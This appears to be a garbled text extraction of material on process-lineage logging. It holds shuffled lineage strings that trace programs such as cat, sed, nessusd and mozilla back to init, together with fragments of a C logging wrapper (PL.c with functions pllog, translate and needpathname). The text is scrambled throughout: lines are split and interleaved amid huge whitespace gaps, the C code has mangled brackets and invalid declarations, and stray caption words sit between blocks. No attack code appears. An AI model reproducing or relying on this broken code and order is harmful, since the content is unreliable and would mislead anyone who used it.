                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   '/bin/cat;wrap;sh;ptadmin.pl;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      '/bin/cat;wrap;ptadmin.pl;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    '/bin/cat;wrap;nessus-mkcert;sh;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  '/bin/cat;wrap;bash;xterm;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                '/bin/cat;wrap;WGnpulse.sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                    /bin/mv;wrap;nessus-mkcert;sh;sh;blackbox;xinit;startx;bash;init",
```

```
"/usr/bin/dirname; wrap; mozilla; init",
                                                                                                                                                       mkcert; sh; sh; blackbox; xinit; startx; bash; init*
                                                                                                                                                                                                          "/usr/bin/clear;wrap;nessus-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    mozilla.sh;wrap;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           "/usr/X11R6/bin/mozilla/run-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "/tmp/npulse/autorecheck.pl;wrap;start;WGnpulse.sh;blackbox;xinit;star
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               mozilla.sh; sh; blackbox; xinit; startx; bash; init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         post;sh;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  post;wrap;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           post;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "/etc/sysconfig/network-scripts/ifup-aliases;wrap;ifup-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     mozilla.sh;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               "/bin/sh;wrap;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "/bin/sed;wrap;nessus-mkcert;sh;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             adduser; sh; sh; blackbox; xinit; startx; bash; init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               "/bin/sed;wrap;nessus-adduser;nessus-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "/bin/sed;wrap;ifup;ifup;sh;blackbox;xinit;startx;bash;init"
                                                  "/usr/bin/dirname;wrap;mozilla;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                            mozilla.sh;sh;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       "/usr/X11R6/bin/xsetroot;wrap;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   bash; init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "/tmp/npulse/etc/start;wrap;WGnpulse.sh;blackbox;xinit;startx;bash;ini
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    post;sh;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       "/cdrom/X11R6/bin/mozilla/mozilla-bin;wrap;run-
"/usr/bin/dirname; wrap; run-mozilla.sh; init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             "/usr/bin/basename;wrap;ifup-post;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       "/usr/bin/basename;wrap;ifup-post;ifup-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             "/usr/X11R6/bin/xkill;wrap;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     "/tmp/npulse/miniserv.pl;wrap;start;WGnpulse.sh;blackbox;xinit;startx;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "/sbin/ifconfig;wrap;ifup-aliases;ifup-aliases;ifup
                                                                                                                                                                                                                                                                                                                   "/usr/bin/basename;wrap;run-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                           "/usr/bin/basename;wrap;ifup;ifup;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    post;sh;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "/usr/X11R6/bin/xterm;wrap;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             "/usr/X11R6/bin/mozilla/run-mozilla.sh;wrap;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 '/sbin/modprobe;wrap;mozilla-bin;run-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "/sbin/modprobe;wrap;mozilla-bin;run-mozilla.sh;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         /etc/sysconfig/network-scripts/itup-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       '/cdrom/X11R6/bin/mozilla/mozilla;wrap;sh;blackbox;xinit;startx;bash;i
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "/bin/tput;wrap;bash;bash;xterm;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               "/bin/touch;wrap;nessus-mkcert;sh;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "/bin/sh;wrap;ptadmin.pl;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                        "/usr/bin/basename;wrap;ifup;sh;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "/usr/x11R6/bin/xterm;wrap;sh;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "/tmp/npulse/mrelayd.pl;wrap;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      /sbin/modprobe;wrap;devfsd;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          //cdrom/X11R6/bin/mozilla/mozilla;wrap;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          //cdrom/X11R6/bin/mozilla/mozilla-bin;wrap;run-mozilla.sh;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          '/bin/sleep;wrap;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         /sbin/ifconfig;wrap;ifup;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                /etc/sysconfig/network-scripts/ifup-routes;wrap;ifup
                                                                                                                                                                                                                                                                                                                                                                      /usr/bin/basename;wrap;run-mozilla.sh;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           "/usr/local/bin/services.pl;wrap;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       "/usr/local/bin/noreps.pl;wrap;bash;bash;xterm;blackbox;xinit;startx;b
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "/usr/local/bin/netviuw.pl;wrap;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           "/usr/sectools/sbin/nessusd;wrap;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             mkcert;wrap;sh;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       adduser; wrap; sh; sh; blackbox; xinit; startx; bash; init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "/usr/sectools/bin/nessus-w;wrap;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   mozilla.sh;sh;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "/usr/local/bin/which;wrap;run-mozilla.sh;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               "/usr/local/bin/time.pl;wrap;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 "/usr/local/bin/sysviuw.pl;wrap;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "/usr/local/bin/ptadmin.pl;wrap;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "/usr/local/bin/ghttrack;wrap;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                               char lineage(MAXPLLEN);
                                                                                                                                                                                                                                                                                                                                                                                                                #include "pathname.c"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               mkcert;sh;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    adduser;sh;sh;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               "/usr/sectools/sbin/nessusd;wrap;nessus-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  adduser;sh;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "/usr/sectools/sbin/nessusd;wrap;nessus-adduser;nessus-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "/usr/sectools/sbin/nessus-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "/usr/sectools/sbin/nessus-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                mkcert;sh;sh;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   "/usr/sectools/bin/openssl;wrap;nessus-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         "/usr/sectools/bin/nmapfe;wrap;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 "/usr/local/bin/which;wrap;run-
                                                                                                                                                                                                                                                                                                                                                                 #define MAXPLLEN 8192
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             "/usr/sectools/sbin/nessusd;wrap;nessus-
                                                      #define DEPTH_THRESH
                                                                                                     fprintf(stderr,"!%s%s\n"
                                                                                                                                               (fputs(x,logfp);fputs(lineage,logfp);fclose(logfp);) else
                                                                                                                                                                                                              #define LOGIT(x) logfp=fopen(LOG_FILE, "a");if (logfp)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                               #include <sys/wait.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      // # File PL.c
                                                                                                                                                                                                                                                                                                               /* the last retrieved process lineage string
                                                                                                     ,x,lineage);
```

Generate

process lineage

log

entry

in lineage

```
"/usr/local/bin/awk;wrap;sh;ptadmin.pl;blackbox;xinit;startx;bash;init
                                                                                                                                                                                                 "/usr/bin/wc;wrap;sh;ptadmin.pl;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       "/usr/bin/find;wrap;WGnpulse.sh;WGnpulse.sh;blackbox;xinit;startx;bash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   mozilla.sh;sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "/usr/bin/dirname;wrap;run-
                                                                  "/usr/local/bin/WGnpulse.sh;wrap;blackbox;xinit;startx;bash;init",
                                                                                                                                         "/usr/local/bin/DTK.pl;wrap;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                        "/usr/bin/uptime;wrap;sysviuw.pl;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                "/usr/bin/top;wrap;sysviuw.pl;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                       "/usr/bin/stty;wrap;bash;xterm;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                               "/usr/bin/sort;wrap;bash;bash;xterm;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 "/usr/bin/perl;wrap;WGnpulse.sh;blackbox;xinit;startx;bash;init",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           "/usr/bin/kill;wrap;ptadmin.pl;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             "/usr/bin/ipcalc;wrap;ifup;sh;blackbox;xinit;startx;bash;init"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   "/usr/bin/netstat;wrap;netviuw.pl;blackbox;xinit;startx;bash;init",
```

```
gotbackslash = 0;
                                                                                                                                                                                                                                                                                                                    char tmpstring(2);
                                                                                                                                                                                                                                                                                                                                                                      void translate(char *stat)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      '/'))) {return 1;}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            for (i = 0; i < strlen(path); i++)
  (if ((path[i] == '/') && (path[i+1])</pre>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if (path[0] == '.') (if (((path[1])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            int needpathname(char *path)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    err=log_lineage(pidstr);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              10);strncpy(lineage,tmp,MAXPATHLEN);}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        pid = getpid();itoa(pid, pidstr);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          translate(pathname); /* appends information into lineage for logging
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (err != 0) return(err);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              else {strncpy(pathname, program, MAXPATHLEN);)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    err=0;depth=0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              int pid,err;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          int pllog(char *program,
                                                                                                                                                                                                                                                                  for (i = 0; i < strlen(stat); i++)
                                                                                                                                                                                                                                                                                                                                              (int i, gotbackslash;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (char pidstr[MAXPIDDIGITS];
                                                                                                                                                                                                                                                                                                                                                                                                                    /* Logs 'stat' into lineage,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (path[1] == '/'))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (path[0] != '/') {return(1);}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  [return 1;}}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (int i;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        ^{\prime\star} Looks for '.' and '..' in the pathname. (or not absolute)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                f (err == 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        // strncat(tmp,pathname,MAXPATHLEN-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      * Ignores possibility of '/' in a filename
                                                                                                                                                                                                                                                                                                                                                                                              * e.g., "x;y" is logged as
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                // strncpy(tmp,pidstr,8);strncat(tmp,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /* add PID to lineage *,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    * Ignores issues of SYM links in path */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            /{char tmp[MAXPATHLEN];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Returns 1 if it finds some
                                                                                                                                                                                                            {if (((int) stat[i] > 126) || ((int) stat[i]
    (stat[i] == '\\') || (stat[i] == ';'))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if ((path[i] == '/') || ((path[i] == '.') && (path[i+1] ==
                                                                                                                                                          if ((stat[i] == '\\') && (! gotbackslash))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        \{i += 2;
                                                                                                                                                                                        char asciival[MAXASCII];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    needpathname(program)) err=getpathname(program);
                                                                                                        strncat(lineage, asciival, MAXPATHLEN);gotbackslash
                                                                                                                                (sprintf(asciival, "\\%x", (int) stat[i]);
                                                                                  if ((stat[i] == '\\') && (gotbackslash))
                                                      (/* Nolog extra backslash */ gotbackslash = 0;)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              return(1);
                                {sprintf(asciival, "\\%x", (int) stat[i]);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              else return(err);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            int argc,
          asciival, MAXPATHLEN);)
                                                                                                                                                                                                                                                                                                                                                                                              *x\3by" */
                                                                                                                                                                                                                                                                                                                                                                                                                translating nonprintables into
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dots and 0 otherwise.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          char *argv[]]
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                == '.') &&
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                []
[]
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      (not permitted
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (path[2] ==
                                                                                                                                                                                                                                        ٨
                                                                                                                                                                                                                                        33)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                by the
                                                                                                              11
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      stat = (char *) malloc(MAXINFOLEN * sizeof(char));
